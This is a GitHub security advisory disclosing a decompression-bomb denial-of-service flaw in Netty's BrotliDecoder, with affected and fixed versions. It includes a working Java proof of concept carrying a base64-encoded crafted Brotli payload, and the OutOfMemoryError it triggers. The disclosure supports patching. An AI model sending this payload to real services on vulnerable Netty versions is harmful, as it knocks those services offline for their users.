GHSA-3p8m-j85q-pgmj Netty's decoders vulnerable to DoS via zip bomb style attack

• Maven io.netty:netty-codec-compression: >= 4.2.0.Alpha1, < 4.2.5.Final → fixed in 4.2.5.Final • Maven io.netty:netty-codec: < 4.1.125.Final → fixed in 4.1.125.Final

Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` Impact DoS for anyone using `BrotliDecoder` on untrusted input.